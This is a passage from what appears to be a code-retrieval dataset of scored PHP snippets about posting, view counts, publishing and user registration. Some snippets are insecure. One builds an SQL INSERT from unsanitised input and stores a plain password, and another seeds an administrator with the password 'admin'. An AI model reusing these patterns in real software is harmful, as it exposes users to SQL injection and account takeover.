$ntToPost->doPostToNT($options, $message);\r\n //## Process Results\r\n if (!is_array($ret) || $ret['isPosted']!='1') { //## Error \r\n if ($postID=='0') prr($ret); nxs_addToLogN('E', 'Error', $logNT, '-=ERROR=- '.print_r($ret, true), $extInfo); \r\n } else { // ## All Good - log it.\r\n if ($postID=='0') { nxs_addToLogN('S', 'Test', $logNT, 'OK - TEST Message Posted '); echo _e('OK - Message Posted, please see your '.$logNT.' Page. ', 'social-networks-auto-poster-facebook-twitter-g'); } \r\n else { nxs_metaMarkAsPosted($postID, $ntCd, $options['ii'], array('isPosted'=>'1', 'pgID'=>$ret['postID'], 'pDate'=>date('Y-m-d H:i:s'))); \r\n $extInfo .= ' | <a href=\"'.$ret['postURL'].'\" target=\"_blank\">Post Link</a>'; nxs_addToLogN('S', 'Posted', $logNT, 'OK - Message Posted ', $extInfo); }\r\n }\r\n //## Return Result\r\n if (!empty($ret['isPosted']) && $ret['isPosted']=='1') return 200; else return print_r($ret, true); \r\n }", "title": "" }, { "docid": "00692c285f9ae2b3e535d65c1f9a4c94", "score": "0.5722953", "text": "function gpa_PostViews($post_ID) {\n \n //Set the name of the Posts Custom Field.\n $count_key = 'post_views_count'; \n \n //Returns values of the custom field with the specified key from the specified post.\n $count = get_post_meta($post_ID, $count_key, true);\n \n //If the the Post Custom Field value is empty. \n if($count == ''){\n $count = 0; // set the counter to zero.\n \n //Delete all custom fields with the specified key from the specified post. \n delete_post_meta($post_ID, $count_key);\n \n //Add a custom (meta) field (Name/value)to the specified post.\n add_post_meta($post_ID, $count_key, '0');\n return $count . ' View';\n \n //If the the Post Custom Field value is NOT empty.\n }else{\n $count++; //increment the counter by 1.\n //Update the value of an existing meta key (custom field) for the specified post.\n update_post_meta($post_ID, $count_key, $count);\n \n //If statement, is just to have the singular form 'View' for the value '1'\n if($count == '1'){\n return $count . ' View';\n }\n //In all other cases return (count) Views\n else {\n return $count . ' Views';\n }\n }\n}", "title": "" }, { "docid": "fa5d13726f58970242f869286b67e150", "score": "0.57198125", "text": "function unpublish() { \n\t\t$adsdetail = JRequest::get('POST');\n\t\t$model = $this->getModel('showads');\n\t\t$model->statusChange($adsdetail);\n\t}", "title": "" }, { "docid": "5a994da051071fb0ac21cb2a1ffc3677", "score": "0.5719657", "text": "function _update_term_count_on_transition_post_status($new_status, $old_status, $post)\n {\n }", "title": "" }, { "docid": "8a37da32fe5fafd7397bcc665de012b4", "score": "0.57179517", "text": "public function pvc_counter_mechanism() {\n add_filter( 'the_content', [ $this, 'pvc_set_post_view' ] );\n add_filter( 'the_content', [ $this, 'pvc_get_post_view' ] );\n }", "title": "" }, { "docid": "2ed73086dbc94c7992f74926a7530134", "score": "0.5714336", "text": "public function todayPosts(){\n return $this->getModel()->latest('published_at')->published()->today()->count();\n }", "title": "" }, { "docid": "7fc3da7cde33cd15a3517e8a2e17a946", "score": "0.5699286", "text": "public function publishPost($POST) {\r\n\t\t$sql = 'UPDATE `posts` SET `post_status` = :post_status\r\n\t\t\t\tWHERE `ID` = :ID AND `post_author` = :post_author LIMIT 1';\r\n\t\t$sth = $this->db->prepare($sql);\r\n\r\n\t\t$ret = $sth->execute(array('ID' => $POST['id'],\r\n\t\t\t\t\t\t\t\t 'post_author' => $GLOBALS['user']['id'],\r\n\t\t\t\t\t\t\t\t 'post_status' => 'publish'));\r\n\r\n\t\tif ($ret) {\r\n\t\t\t$this->putMsg('Successfully published');\r\n\t\t}\r\n\r\n\t\treturn $ret;\r\n\t}", "title": "" }, { "docid": "c51b8af5955315f2460b27fb97ebdfab", "score": "0.56962204", "text": "public function unpublish()\n {\n $message = new MailMessage;;\n $message->greeting(\"Hi {$this->post->reporting->name}!\");\n $message->line(\"The post {$this->post->titile} has been unpublished successfully.\"); \n foreach ($this->workflow as $key => $value) {\n if ($key == 0) {\n $message->action($value->action, url('workflows/workflow/' . $value->id));\n continue;\n }\n $message->line('<a href=\"'.url('workflows/workflow/' . $value->id).'\">'.$value->action.'</a>');\n }\n\n return $message;\n }", "title": "" }, { "docid": "379ccbc457770de5549b77cf6176b13f", "score": "0.5692692", "text": "public function has_published_pages()\n {\n }", "title": "" }, { "docid": "97af75a911e98c774684f421c77b726a", "score": "0.56885856", "text": "function get_tptn_post_count( $id = false, $blog_id = false ) {\n\n\t$count_disp_form = stripslashes( tptn_get_option( 'count_disp_form' ) );\n\t$count_disp_form_zero = stripslashes( tptn_get_option( 'count_disp_form_zero' ) );\n\t$totalcntaccess = get_tptn_post_count_only( $id, 'total', $blog_id );\n\n\tif ( $id > 0 ) {\n\n\t\t// Total count per post.\n\t\tif ( ( false !== strpos( $count_disp_form, '%totalcount%' ) ) || ( false !== strpos( $count_disp_form_zero, '%totalcount%' ) ) ) {\n\t\t\tif ( ( 0 === (int) $totalcntaccess ) && ( ! is_singular() ) ) {\n\t\t\t\t$count_disp_form_zero = str_replace( '%totalcount%', $totalcntaccess, $count_disp_form_zero );\n\t\t\t} else {\n\t\t\t\t$count_disp_form = str_replace( '%totalcount%', ( 0 === (int) $totalcntaccess ? $totalcntaccess + 1 : $totalcntaccess ), $count_disp_form );\n\t\t\t}\n\t\t}\n\n\t\t// Now process daily count.\n\t\tif ( ( false !== strpos( $count_disp_form, '%dailycount%' ) ) || ( false !== strpos( $count_disp_form_zero, '%dailycount%' ) ) ) {\n\t\t\t$cntaccess = get_tptn_post_count_only( $id, 'daily' );\n\t\t\tif ( ( 0 === (int) $totalcntaccess ) && ( ! is_singular() ) ) {\n\t\t\t\t$count_disp_form_zero = str_replace( '%dailycount%', $cntaccess, $count_disp_form_zero );\n\t\t\t} else {\n\t\t\t\t$count_disp_form = str_replace( '%dailycount%', ( 0 === (int) $cntaccess ? $cntaccess + 1 : $cntaccess ), $count_disp_form );\n\t\t\t}\n\t\t}\n\n\t\t// Now process overall count.\n\t\tif ( ( false !== strpos( $count_disp_form, '%overallcount%' ) ) || ( false !== strpos( $count_disp_form_zero, '%overallcount%' ) ) ) {\n\t\t\t$cntaccess = get_tptn_post_count_only( $id, 'overall' );\n\t\t\tif ( ( 0 === (int) $cntaccess ) && ( ! is_singular() ) ) {\n\t\t\t\t$count_disp_form_zero = str_replace( '%overallcount%', $cntaccess, $count_disp_form_zero );\n\t\t\t} else {\n\t\t\t\t$count_disp_form = str_replace( '%overallcount%', ( 0 === (int) $cntaccess ? $cntaccess + 1 : $cntaccess ), $count_disp_form );\n\t\t\t}\n\t\t}\n\n\t\tif ( ( 0 === (int) $totalcntaccess ) && ( ! is_singular() ) ) {\n\t\t\treturn apply_filters( 'tptn_post_count', $count_disp_form_zero );\n\t\t} else {\n\t\t\treturn apply_filters( 'tptn_post_count', $count_disp_form );\n\t\t}\n\t} else {\n\t\treturn 0;\n\t}\n}", "title": "" }, { "docid": "c5020977db542b716edcbce1e6fe8198", "score": "0.56781965", "text": "function wp_update_comment_count_now($post_id)\n {\n }", "title": "" }, { "docid": "1a992807172ab5d5febdd7a3a5056d71", "score": "0.5674866", "text": "function wpsl_convert_cpt_count() {\n \n if ( !current_user_can( 'manage_options' ) )\n die( '-1' );\n check_ajax_referer( 'wpsl-cpt-count' );\n \n $remaining_count = wpsl_remaining_cpt_count();\n \n $response['success'] = true;\n \n if ( $remaining_count ) {\n $response['count'] = $remaining_count;\n } else {\n $response['url'] = sprintf( __( 'All the store locations are now converted to custom post types. %s You can view them on the %sAll Stores%s page.', 'wpsl' ), '<br><br>', '<a href=\"' . admin_url( 'edit.php?post_type=wpsl_stores' ) . '\">', '</a>' );\n \n delete_option( 'wpsl_convert_cpt' );\n }\n \n wp_send_json( $response );\n \n exit();\n}", "title": "" }, { "docid": "fe635e098e98da1cb9e7cb1a9ea131e9", "score": "0.5672214", "text": "public function hasPublished() {\n return $this->_has(14);\n }", "title": "" } ]
b0e6382d10bb22cbdbc87b44b71b2ad0
guarda el nuevo usuario
[ { "docid": "312a5ac8a48e149a8b35ca597af8ab63", "score": "0.0", "text": "public function store(){\n \n // comprueba que llegue el formulario con los datos\n if(empty($_POST['guardar']))\n throw new Exception('No se recibieron datos');\n \n $mascota = new Mascotas(); //crear el nuevo usuario\n \n $mascota->nombre = DB::escape($_POST['nombre']);\n $mascota->sexo = DB::escape($_POST['sexo']);\n $mascota->biografia = DB::escape($_POST['biografia']);\n $mascota->fechanacimiento = DB::escape($_POST['fechanacimiento']);\n $mascota->fechafallecimiento = DB::escape($_POST['fechafallecimiento']);\n $mascota->idusuario = Login::get()->id;\n $mascota->idraza = intval($_POST['raza']);\n \n \n \n if(!$mascota->guardar())\n throw new Exception(\"No se pudo guardar $mascota->nombre\");\n \n $mensaje=\"Guardado la mascota $mascota->nombre\";\n include 'views/exito.php'; //mostrar éxito\n }", "title": "" } ]
[ { "docid": "d223e7fb4bbc5ff727b213a9e34a51f7", "score": "0.73927045", "text": "public function crearUsuario() {\n\n\n if ($this->seguridad->esAdmin()) {\n $id = $this->usuario->getLastId();\n $usuario = $_REQUEST[\"usuario\"];\n $contrasenya = $_REQUEST[\"contrasenya\"];\n $email = $_REQUEST[\"email\"];\n $nombre = $_REQUEST[\"nombre\"];\n $apellido1 = $_REQUEST[\"apellido1\"];\n $apellido2 = $_REQUEST[\"apellido2\"];\n $dni = $_REQUEST[\"dni\"];\n $imagen = $_FILES[\"imagen\"];\n $borrado = 'no';\n if (isset($_REQUEST[\"roles\"])) {\n $roles = $_REQUEST[\"roles\"];\n } else {\n $roles = array(\"2\");\n }\n\n if ($this->usuario->add($id,$usuario,$contrasenya,$email,$nombre,$apellido1,$apellido2,$dni,$imagen,$borrado,$roles) > 1) {\n $this->perfil($id);\n } else {\n echo \"<script>\n i=5;\n setInterval(function() {\n if (i==0) {\n location.href='index.php';\n }\n document.body.innerHTML = 'Ha ocurrido un error. Redireccionando en ' + i;\n i--;\n },1000);\n </script>\";\n } \n } else {\n $this->gestionReservas();\n }\n \n }", "title": "" }, { "docid": "ef5c3b8d34b8b5e10f8a4f699e11dd48", "score": "0.72577083", "text": "public function agregarUsuario(){\n \n }", "title": "" }, { "docid": "10267683ce800147b61d94905fc3cee3", "score": "0.71442187", "text": "public function createUserAction() {\n $this->authService->createUser();\n die();\n }", "title": "" }, { "docid": "e435917090c5ce6a7720a233f8f8ba87", "score": "0.71028036", "text": "public function createUser();", "title": "" }, { "docid": "e435917090c5ce6a7720a233f8f8ba87", "score": "0.71028036", "text": "public function createUser();", "title": "" }, { "docid": "e435917090c5ce6a7720a233f8f8ba87", "score": "0.71028036", "text": "public function createUser();", "title": "" }, { "docid": "e435917090c5ce6a7720a233f8f8ba87", "score": "0.71028036", "text": "public function createUser();", "title": "" }, { "docid": "8bc9acd096e85d5d7b169c7d1caded89", "score": "0.70941055", "text": "public function newAppUser()\n {\n $email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_STRING);\n $name = filter_input(INPUT_POST, 'name', FILTER_SANITIZE_STRING);\n $password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);\n $role = filter_input(INPUT_POST, 'role', FILTER_SANITIZE_STRING);\n $status = filter_input(INPUT_POST, 'status', FILTER_SANITIZE_NUMBER_INT);\n\n $errorList = [];\n if (empty($email)) {\n $errorList[] = 'Vous devez saisir un email';\n }\n if (empty($name)) {\n $errorList[] = 'Vous devez saisir un nom';\n }\n if (empty($password)) {\n $errorList[] = 'Vous devez saisir un mot de passe';\n }\n if (empty($role)) {\n $errorList[] = 'Vous devez saisir un rôle';\n }\n\n if (empty($errorList)) {\n $user = new AppUser();\n $user->setEmail($email);\n $user->setName($name);\n $user->setPassword($password);\n $user->setRole($role);\n $user->setStatus($status);\n\n $inserted = $user->create();\n\n if ($inserted) {\n global $router;\n header('Location: ' . $router->generate('appusers-list'));\n return;\n } else {\n $errorList[] = 'L\\'insertion des données s\\'est mal passée';\n }\n }\n\n if (!empty($errorList)) {\n $user = new AppUser();\n $user->setEmail($email);\n $user->setName($name);\n $user->setPassword($password);\n $user->setRole($role);\n $user->setStatus($status);\n\n $this->show('users/add', [\n 'errorList' => $errorList,\n 'user' => $user\n ]);\n }\n }", "title": "" }, { "docid": "a48740d970f5005e431cea45019ca8a9", "score": "0.7091853", "text": "public function crearUsuario(){\n\t\t\n\t\t$fecha = date('dmYHis');\n\n\t\techo 'Ahora son las: ' . $fecha;\n\n\t\t/* User::create([\n\t\t\t'name' => 'Nombre ' . $fecha,\n\t\t\t'email' => 'email' . $fecha . '@gmail.com',\n\t\t\t'password' => Hash::make($fecha . $fecha),\n\t\t\t'descripcion' => 'Una descripción: ' . $fecha,\n\t\t\t'admin' => 0,\n\t\t]); */\n\n\t\tUser::create([\n\t\t\t'name' => 'Jorge Cortazar',\n\t\t\t'email' => 'jorge@gmail.com',\n\t\t\t'password' => Hash::make('jorge'),\n\t\t\t'descripcion' => 'Si... de INTA',\n\t\t\t'admin' => '0',\n\t\t]);\n\n\t\techo '<br><br>Usuario creado';\n\t}", "title": "" }, { "docid": "7d32fc6c18d17611fdb01f61b77db178", "score": "0.7057441", "text": "public function guardarUsuario()\r\n {\r\n $user = new \\App\\Models\\User;\r\n \r\n $user->Seq_Usuario = $_REQUEST['Seq_Usuario'];\r\n $user->Usuario = $_REQUEST['username'];\r\n $user->Password = $_REQUEST['password'];\r\n $user->sys_rol_id = $_REQUEST['rolID'];\r\n\r\n\r\n $userController = new App\\Controllers\\UserController;\r\n\r\n if($user->Seq_Usuario > 0) {\r\n $result = $userController->updateUser($user);\r\n } else {\r\n $result = $userController->createUser($user);\r\n }\r\n \r\n /**\r\n * Variable de sesión usada para mostrar la notificación del\r\n * resultado de la solicitud.\r\n */\r\n $_SESSION['result'] = $result;\r\n \r\n header('Location: ?c=Registro&a=usuarios');\r\n }", "title": "" }, { "docid": "61bbc37b63fcc25f79437368d9364514", "score": "0.70365345", "text": "public function store(CreateUserFormRequest $request)\n {\n //dd(Hash::make($request->mdp));\n\n \n \n $deja=User::where('name',$request->utilisateur);\n if($deja->count()>0){\n\n \n //Flashy::error(' Cette Designation existe déja ', '#');\n\n session()->flash('message','Cet Utilisateur existe déja');\n\n \n return Redirect('/Users');\n } \n\n $count=User::count();\n\n $count++;\n\n User::create([\n\n \n 'name'=>$request->utilisateur,\n 'password'=>bcrypt($request->mdp)\n\n\n\n ]);\n //Flashy::message('Utilisateur Créé');\n\n session()->flash('message','Cet Utilisateur a été enrégistré');\n\n \n return back();\n\n\n }", "title": "" }, { "docid": "58702d51dab98901e68f62db528242fe", "score": "0.7012889", "text": "public function store(UserNuevoRequest $request)\n {\n $user = new User();\n $user->name = $request->input('name');\n $user->lastname = $request->input('lastname');\n $user->email = $request->input('email');\n $user->password = Hash::make($request->input('password'));\n $user->remember_token = str_random(100);\n $user->save();\n /**\n * El Metodo attachRole Guarda el Rol_id en la tabla role_user con el user_id\n */\n $user->attachRole(Role::find(Input::get('rol')));\n flash('El registro ha sido agregado')->success()->important();\n return redirect()->route('users.index');\n }", "title": "" }, { "docid": "30c8b04444be6613b3e8b48625910af5", "score": "0.6983787", "text": "public function registrar_usuario($nombre,$apellido,$genero,$fecha_nacimiento,$correo,$imagen,$contraseña, $type){\n \n \n $nodo_usuario = new Usuario();\n $mysql = new Conexion();\n\n $nodo_usuario->nombre = $nombre;\n $nodo_usuario->apellido = $apellido; \n $nodo_usuario->genero = $genero;\n $nodo_usuario->fecha_nacimiento = $fecha_nacimiento;\n $nodo_usuario->correo = $correo; \n $nodo_usuario->imagen = $imagen; \n $nodo_usuario->contraseña = $contraseña;\n $nodo_usuario->type = $type;\n \n /* aun no esta funcionando esto\n\t $nodo_usuario->nick = $nik;\n\t $nodo_usuario->ciudad_origen = $orig;\n\t $nodo_usuario->lugar_recidencia = $reci; \n\t $nodo_usuario->sitio_web = $web; \n\t $nodo_usuario->facebook = $face;\n\t $nodo_usuario->twitter = $twit;\n\t $nodo_usuario->youtube = $you;\n */ \n \n ModelUsuarios::crearNodoUsuario($nodo_usuario); //crea el nodo del Usuario \n\n $idneo4j = $nodo_usuario->id; //obtengo el id del nodo creado\n \n\n /*\n * Registro de usuario en Mysql\n * \"la url de facebook es importante y no se esta capturando\"\n */\n \n $sql = \"INSERT INTO usuario (\n email,\n idfacebook,\n idneo4j,\n password\n )VALUES(\n '\".$correo.\"',\n '12345678',\n '\".$idneo4j.\"',\n '\".$contraseña.\"'\n );\";\n \n return $mysql->ejecutar_query($sql); \n \n \n \n \n }", "title": "" }, { "docid": "8462b290449a3564421ca74739b1fdd4", "score": "0.6973921", "text": "public function store(ApoderadoRequest $request)\n {\n if(User::where('email',$request->mail)->get()->count()==0){\n $apoderado=new Apoderado($request->all());\n $rut=str_replace('-','',$request->rut);\n $rut=str_replace('.','',$rut);\n $apoderado->rut=$rut;\n $apoderado->mail=$request->mail;\n $user=New User();\n $nombre_completo=$request->nombre .' '. $request->apellido;\n $user->name=$nombre_completo;\n $user->email=$request->mail;\n $user->password=bcrypt($request->rut);\n $user->type='apoderado';\n $user->save();\n $apoderado->save();\n Flash::error( \"El rut Ingresado ya se encuentra registrado Favor contacte a su Administrador\");\n return redirect()->route('admin.apoderados.index'); \n }\n else{\n Flash::error(\"Se ha registrado \". $apoderado->nombre .\" \".$apoderado->apellido . \" de forma exitosa\" );\n return redirect()->route('admin.apoderados.index'); \n }\n }", "title": "" }, { "docid": "e334941d6a5b112fcd73ae4983b91980", "score": "0.69619197", "text": "public function create()\n {\n // TODO: Algún parámetro para no permitir el registro.\n \n // Es ya un usuario?\n if (Core::isUser())\n {\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('') . '\\';');\n return;\n }\n \n // Tenemos datos?\n if ($this->request->is('email'))\n {\n // Validamos los datos\n $form = Core::getLib('form.validator');\n $form->setRules(Core::getService('account.signup')->getValidation());\n \n // Si no hay errores procedemos a capturar los datos.\n if ($form->validate())\n {\n // Agregamos usuario\n if (Core::getService('account.process')->add($this->request->getRequest()))\n {\n if (Core::getParam('user.verify_email_at_signup'))\n {\n // Vamos a que verifique su email\n Core::getLib('session')->set('email', $this->request->get('email'));\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.verify') . '\\';');\n }\n else\n {\n // Iniciamos sesión\n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.login') . '\\';');\n }\n \n return;\n }\n }\n }\n \n $this->call('window.location.href = \\'' . Core::getLib('url')->makeUrl('account.signup') . '\\';');\n }", "title": "" }, { "docid": "1a0ed2cf7bd412ab69abac0ee8b2191f", "score": "0.69615984", "text": "public function postNuevo()\n\t{\n\t\t$user = new User;\n\t\t$reglas = array(\n\t\t\t'apellidos'=>'required',\n\t\t\t'nombres'=>'required',\n\t\t\t'cedula'=> array('required','unique:users,cedula'),\n\t\t\t'direccion'=>'required',\t\t\t\t\t\t\n\t\t\t'email'=> array('required','email'),\n\t\t\t'password'=>'required',\n\t\t\t'password2'=>'required',\n\t\t\t'sucursal'=>'required',\n\t\t\t'rol'=>'required',\n\t\t\t'username' => array('required','unique:users,username'),\n\t\t\t'telefono'=> 'numeric',\n\t\t\t'celular' => 'numeric',\n\t\t\t);\n\t\t$validador = Validator::make(Input::all(),$reglas);\t\t\n\t\tif($validador->passes() && $user->validarCI(Input::get('cedula')) && $user->validaTel(Input::get('telefono'))\n\t\t\t&& $user->validaCel(Input::get('celular'))){\n\t\t\tif(Input::get('password') == Input::get('password2')){\n\t\t\t\tif(Input::get('sucursal')!= '0'){\n\t\t\t\t\t$user->apellidos = Input::get('apellidos');\n\t\t\t\t\t$user->nombres = Input::get('nombres');\n\t\t\t\t\t$user->cedula = Input::get('cedula');\n\t\t\t\t\t$user->direccion = Input::get('direccion');\n\t\t\t\t\t$user->telefono = Input::get('telefono');\n\t\t\t\t\t$user->celular = Input::get('celular');\n\t\t\t\t\t$user->email = Input::get('email');\n\t\t\t\t\t$user->password = Hash::make(Input::get('password'));\n\t\t\t\t\t$user->rol = Input::get('rol');\n\t\t\t\t\t$user->username = Input::get('username');\n\t\t\t\t\t$user->sucursal_id = Input::get('sucursal');\n\t\t\t\t\t$user->estado = '1';\n\t\t\t\t\t$user->save();\n\t\t\t\t\treturn Redirect::to('user')->with('status','okCreado');\t\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\treturn Redirect::to('user')->with('status','errorSuc');\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\treturn Redirect::to('user')->with('status','errorPass');\n\t\t\t}\n\t\t}else{\n\t\t\treturn Redirect::to('user')->with('status','error');\n\t\t}\n\t}", "title": "" }, { "docid": "a7e71c39b8fe85938ca783c05e250f06", "score": "0.69599384", "text": "public static function setNewUser($request){\r\n \t//Post vars\r\n\t \t$postVars = $request->getPostVars();\r\n\t\t$nome = $postVars['nome'] ?? '';\r\n\t\t$email = $postVars['email'] ?? '';\r\n\t\t$senha = $postVars['senha'] ?? '';\r\n\r\n\t\t//Valida email\r\n\t\t$obUser = EntityUser::getUserByEmail($email);\r\n\t\tif($obUser instanceof EntityUser){\r\n\r\n\t\t\t$request->getRouter()->redirect('/admin/users/new?status=duplicated');\r\n\t\t}\r\n\r\n\t\t//NOVA INSTANCIA DE FEEDBACK\r\n\t\t$obUser = new EntityUser;\r\n\t\t$obUser->nome = $nome;\r\n\t\t$obUser->email = $email;\r\n\t\t$obUser->senha = password_hash($senha,PASSWORD_DEFAULT);\r\n\t\t$obUser->cadastrar();\r\n\r\n\t\t//REDIRECIONA O USUARIO\r\n\t\t$request->getRouter()->redirect('/admin/users/'.$obUser->id.'/edit?status=created');\r\n\r\n\t}", "title": "" }, { "docid": "046ec4cb6e602841fe52bd06bdd1596a", "score": "0.69506466", "text": "public function nuevo(){\r\n if($_SESSION[\"inicio\"] == true){\r\n return Vista::crear(\"admin.usuario.crear\");\r\n }else{\r\n return redirecciona()->to(\"/\");\r\n }\r\n\r\n }", "title": "" }, { "docid": "7bdc97213d76e9327107e38f3e4fb78b", "score": "0.6912249", "text": "public function createUser($correo)\n {\n $query = $this->connect()->prepare('SELECT * FROM users WHERE Correo = :correo');\n $query->execute(['correo' => $correo]);\n //Guardo el obj PDO en cadenaValida\n $this->cadenaValida = $query->fetch();\n\n //si el resultado retorna true no inserta, de lo contrario inserta\n if ($this->cadenaValida) {\n //El usuario ya existe, hay que retornar mensaje de lo que paso\n\n return $resultado = true;\n }else\n {\n //El correo buscado no existe, hay que insertar en tabla users\n //Obtenemos el ultimo valor de ID de usuario para agregar al nuevo\n $idTemp = $this->connect()->query('SELECT MAX(IDUsuario) FROM users');\n \n $a = $idTemp->fetch(PDO::FETCH_BOTH);\n\n $this->idu = $a[0];\n\n $this->idu = (int) $this->idu + 1;\n $this->nombre = $_POST['name'];\n $this->apellidoP = $_POST['ap'];\n $this->apellidoM = $_POST['am'];\n $this->correo = $_POST['correo'];\n $this->pass = md5($_POST['pass']);\n $this->rol = 1;\n\n $query = $this->connect()->prepare(\n 'INSERT INTO users VALUES(\n :idTemp,\n :nombre,\n :apellidoP,\n :apellidoM,\n :correo,\n :pass,\n :rol)'\n );\n\n $query->execute([\n 'idTemp' => $this->idu,\n 'nombre' => $this->nombre,\n 'apellidoP' => $this->apellidoP,\n 'apellidoM' => $this->apellidoM,\n 'correo' => $this->correo,\n 'pass' => $this->pass,\n 'rol' => $this->rol]);\n\n return $resultado = false;\n }\n }", "title": "" }, { "docid": "09e8af18d99d757cb7cf70e8cac3d7ea", "score": "0.69117737", "text": "function crearUsuario(){\n\t\t$params = array(\n\t\t\t':nombres' => $_POST['nombres'],\n\t\t\t':apellidos' => $_POST['apellidos'],\n\t\t\t':direccion' => $_POST['direccion'],\n\t\t\t':foto' => $_POST['foto'],\n\t\t\t':email' => $_POST['email'],\n\t\t\t':usuario' => $_POST['usuario'],\n\t\t\t':contrasena' => $_POST['contrasena'],\n\t\t\t\n\t\t);\n\t\n\t\t/* Preparamos el query apartir del array $params*/\n\t\t$query = 'INSERT INTO usuarios \n\t\t\t\t\t(nombres, apellidos, direccion, foto, email, usuario, contrasena, permisos) \n\t\t\t\tVALUES \n\t\t\t\t\t(:nombres,:apellidos,:direccion,:foto,:email,:usuario,:contrasena, 2)';\n\n\t\t/* Ejecutamos el query con los parametros */\n\t\t$result = excuteQuery(\"blogs\",\"\", $query, $params);\n\t\tif ($result > 0){\n\t\t\theader('Location: formlogin.php?result=true');\n\t\t}else{\n\t\t\theader('Location: addUser.php?result=false');\n\t\t}\n\t}", "title": "" }, { "docid": "8a1db2bb1c09fa3be5b4f1f351e5e878", "score": "0.68810123", "text": "protected function RegisterIfNew(){\n // Si el sitio es de acceso gratuito, no debe registrarse al usuario.\n // Luego debe autorizarse el acceso en el metodo Authorize\n $url = $this->getUrl();\n if ($url instanceof Url && $this->isWebsiteFree($url->host)){\n return;\n }\n\t\t\n\t\t// Crear la cuenta de usuarios nuevos\n // if (!DBHelper::is_user_registered($this->user)){\n // if (!(int)$this->data->mobile || \n // (int)($this->data->client_app_version) < AU_NEW_USER_MIN_VERSION_CODE){\n // // Force update\n // $this->url = Url::Parse(\"http://\". HTTP_HOST .\"/__www/new_user_update_required.php\");\n // }else{\n // DBHelper::createNewAccount($this->user, DIAS_PRUEBA);\n // }\n // }\n \n // No crear cuenta. En su lugar mostrar una pagina notificando\n // E:\\XAMPP\\htdocs\\__www\\no_registration_allowed.html\n \n if (!DBHelper::is_user_registered($this->user)){\n DBHelper::storeMailAddress($this->user);\n $this->url = Url::Parse(\"http://auroraml.com/__www/no_registration_allowed.html\");\n }\n }", "title": "" }, { "docid": "9bc9bd4026e68318e302d4d56873e37a", "score": "0.68621624", "text": "public function doCreate() {\n if(\n isset($_POST['email']) &&\n isset($_POST['password']) &&\n isset($_POST['lastName']) &&\n isset($_POST['firstName']) &&\n isset($_POST['address']) &&\n isset($_POST['postalCode']) &&\n isset($_POST['city'])\n ) {\n $alreadyExist = $this->userManager->findByEmail($_POST['email']);\n\n if(!$alreadyExist) {\n $newUser = new User($_POST);\n $this->userManager->create($newUser);\n $page = 'login';\n }\n else {\n $error = \"ERROR : This email (\".$_POST['email'].\") is used by another user\";\n $page = 'create';\n }\n }\n\n require('./View/default.php');\n }", "title": "" }, { "docid": "829efca4e0f223f84dbce5c29bb912d9", "score": "0.6856733", "text": "function createUser()\n{\n $userCheck = UsersQuery::create()->findOneByUsername($_POST['username']);\n if ($userCheck == \"\") {\n // next add user to db\n $user = new Users();\n $user->setUsername($_POST['username']);\n $user->setPassword($_POST['password']);\n $user->setName($_POST['name']);\n $user->setEmail($_POST['email']);\n $user->setStatus(\"active\");\n $user->setPicture(\"none\");\n $user->setCreated(time());\n $user->setModified(time());\n\n $user->save();\n\n if ($user != null) {\n echo \"user added successfully\";\n }\n } else {\n echo \"user already registered\";\n }\n}", "title": "" }, { "docid": "4209b4b35a702ba38bde5ccfc6daaa79", "score": "0.6853907", "text": "public function createUser()\n {\n }", "title": "" }, { "docid": "41d05c65efcbdabc774c93c07b2dcf5d", "score": "0.6850955", "text": "function newUsuario($usuario)\n{\n\t$con = getDBConnection();\n\t$stmt = $con->prepare(\"INSERT INTO usuarios (nombre, apellidos, user_name, password, email) VALUES (:nombre, :apellidos, :user_name, :password, :email)\");\n\t$stmt->bindParam(':nombre', $usuario->nombre);\n\t$stmt->bindParam(':apellidos', $usuario->apellidos);\n\t$stmt->bindParam(':user_name', $usuario->user_name);\n\t$stmt->bindParam(':password', $usuario->password);\n\t$stmt->bindParam(':email', $usuario->email);\n\t$stmt->execute();\n}", "title": "" }, { "docid": "c4cbf75260a326ed662081a1d793b92c", "score": "0.6846888", "text": "public function store(Request $request) //cria usuário no bd\n {\n //captura as informações vindas da requisição POST e faz o cadastro no bd\n //cria a instancia do formulário\n /** @var Form $form */\n $form = \\FormBuilder::create(UserForm::class);\n //valida o formulario\n if(!$form->isValid()){\n //redirecionar para a pagina de criação de usuários (pagina anterior)\n //quer retornar com os erros e os campos incorretos\n return redirect()->back()->withErrors($form->getErrors())->withInput();\n }\n //se for valido, realiza o cadastro\n //pega informações do formulário\n $data = $form->getFieldValues(); //name e email\n $this->repository->create($data);\n\n //flash message criada\n $request->session()->flash('message','Usuário criado com sucesso!');\n\n return redirect()->route('admin.users.index');\n\n }", "title": "" }, { "docid": "bbecb8bffc33407d45f76bcf01f9c096", "score": "0.6845254", "text": "public function createAdmin() {\n if(User::where('email', 'suporte@admin.com')->count() == 0) {\n $admin = new User();\n $admin->name = \"Administrador\";\n $admin->email = \"suporte@admin.com\";\n $admin->password = bcrypt(\"admin\");\n $admin->user_type = User::UserTypeAdmin;\n $admin->save();\n }\n }", "title": "" }, { "docid": "0d5aa87ec85fecd3c5a8d32846919404", "score": "0.68388003", "text": "public function Create_Account(){\n\n $name_user = strip_tags($this->input->post('nom'));\n $email_user = strip_tags($this->input->post('email'));\n $pseudo_user = strip_tags($this->input->post('pseudo'));\n $pass_user = sha1($this->input->post('pwd'));\n $confirm_pass_user = sha1($this->input->post('pwdc'));\n if ($pass_user == $confirm_pass_user && filter_var($email_user,FILTER_VALIDATE_EMAIL)) {\n $verify_user_exist = $this->compte_model->Sign_In_User($pseudo_user,$pass_user);\n if ($verify_user_exist == false) {\n\n $this->compte_model->Create_Account_User($name_user,$email_user, $pseudo_user, $pass_user);\n echo \"VOUS AVEZ CREE UN COMPTE ET BIENVENU CHEZ NOUS!\";\n }\n }else{\n redirect('HTTP_REFERERER');\n }\n }", "title": "" }, { "docid": "b17f21b07ddc0302785a625abe732c68", "score": "0.6831401", "text": "public function postRegistrar(){\n\t\t$post = Input::all();\n\t\t$rule = ['nombre' => 'required', 'apellidos' => 'required', 'usuario' => 'required', 'contrasena' => 'required', 'tipo_usuario' => 'required'];\n\t\tif(Validator::make($post, $rule)->fails()){\n\t\t\tSession::flash('mensaje', '¡Completa todos los 